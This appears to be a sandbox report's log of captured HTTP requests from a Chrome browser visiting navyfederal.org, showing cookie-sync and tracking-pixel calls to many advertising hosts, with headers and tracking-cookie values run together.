Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1299598 HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1304939 HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=improvedigitalHMT&id=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=addthis HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgASgDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
Source: global traffic	HTTP traffic detected: GET /sync?UIAM&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dtelaria.com%26id%3D%5BPARTNER_ID%5D HTTP/1.1Host: amazon.partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /event/track HTTP/1.1Host: events.api.boomtrain.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=amazon&uid=hF_6AjJIQ_mVNmbe3VJbug HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes
Source: global traffic	HTTP traffic detected: GET /amazon/pixel.gif?https://s.amazon-adsystem.com/ecm3?ex=luc.id&id= HTTP/1.1Host: usersync.samplicio.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie_sync?https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsamba.tv%26id%3D HTTP/1.1Host: ads.samba.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/idsync?cid=a706a6beb&ex=imdb.com HTTP/1.1Host: www.imdb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redir/?partnerid=144&partneruserid=poRxPnFRToW5GcMxEIDgag HTTP/1.1Host: rtb-csync.smartadserver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pid=913620667793503806; TestIfCookieP=ok; csync=144:poRxPnFRToW5GcMxEIDgag
Source: global traffic	HTTP traffic detected: GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&pf= HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<CxrEQF']wIg2E?d?=+XZ!A#Fk.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd@<@(tGb<PaZ<TwnZC)v$x]PPd6z+4'bA#zs`eP9n?:Oi`A>PlZ[C[-kX-_fd_
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=indexHMT&id=ZlEYv9HM66QAAATEATLXcQAA HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=telaria.com&id=6d9f1ca49fc6424c8d48d9194e42ee06 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=rubiconprojectHMT&id=I97FTHEgRGeEc_KKO6uUGg HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=samba.tv&id=13186bcb0db7cd621 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=139200&dpuuid=oHMoPODTR7yFxwxKimYXJA&redir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dadobe.com%26id%3D%24%7BDD_UUID%7D HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=15028710952493579300771312513576972253; dpm=15028710952493579300771312513576972253
Source: global traffic	HTTP traffic detected: GET /t/v2?tagid=V2_393725&AMAZON_REGION_SPECIFIC_ENDPOINT=s.amazon-adsystem.com&src.visitorID=QuQQgT4bTdi8lt4D-bUJOw HTTP/1.1Host: odr.mookie1.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?rcode=1&ex=imdb.com HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=improvedigitalHMT&id=3f6b4da6-2fbc-43ec-b47c-e34333cb9e24 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=connatixHMT&id=OZuBC1poRAKq_qRboEaExQ HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1299598 HTTP/1.1Host: i.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590783.1304939 HTTP/1.1Host: i.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
Source: global traffic	HTTP traffic detected: GET /engagement/getpixels?gid=15654 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://9749892.fls.doubleclick.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/get_user_agent_id?dom_token=amazon-na-23&gdpr=0 HTTP/1.1Host: cookie-matching.mediarithmics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=184155&cb=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dindex%26id%3D__UID__ HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; CMPS=1322; CMPRO=1322
Source: global traffic	HTTP traffic detected: GET /?partner_id=1392&uid=hokN2A8WQ3uw3i8m26RdyQ HTTP/1.1Host: csync.loopme.meConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=indexHMT&id=ZlEYv9HM66QAAATEATLXcQAA HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=rubiconprojectHMT&id=I97FTHEgRGeEc_KKO6uUGg HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=samba.tv&id=13186bcb0db7cd621 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=adobe.com&id=15028710952493579300771312513576972253 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=telaria.com&id=6d9f1ca49fc6424c8d48d9194e42ee06 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /amazon/pixel.gif?https://s.amazon-adsystem.com/ecm3?ex=luc.id&id= HTTP/1.1Host: usersync.samplicio.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/v2?tagid=V2_393725&AMAZON_REGION_SPECIFIC_ENDPOINT=s.amazon-adsystem.com&src.visitorID=QuQQgT4bTdi8lt4D-bUJOw HTTP/1.1Host: odr.mookie1.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
